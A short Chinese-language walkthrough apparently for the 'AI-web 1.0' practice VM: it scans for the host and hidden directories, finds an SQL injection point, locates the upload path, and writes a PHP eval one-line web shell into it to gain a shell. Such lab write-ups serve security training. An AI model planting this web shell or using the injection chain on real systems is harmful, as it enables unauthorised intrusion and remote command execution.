AI-web 1.0 通关攻略

1.主机发现

1.打开靶机

将压缩包解压后，打开.vmx文件

2.利用kali虚拟机，进行nmap扫描

进行对比判断靶机ip

3.访问ip进入网页

4.进一步扫描

网页无内容，运用kali dirb进一步扫描

尝试发现robots.txt中有内容

有新发现的目录，我们挨个访问一下看看。

2.寻找漏洞

运用bp进行抓包，通过抓包得到注入点uid=1&Operation=Submit

3.寻找可写入路径

CTRL +f 查询 m3diNf0  查到绝对路径

我们需要一个可以上传文件的页面se3reTdir777/uploads/刚好符合 它的绝对目录为

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

4.注入木马，获取shell权限

获取shell

选2 自定义路径

连接成功

注入木马程序

echo '<?php @eval($_POST['cmd']);?>' > 2.php

访问网页正确路径为http://192.168.126.138/se3reTdir777/uploads/2.php

蚁剑连接

获取成功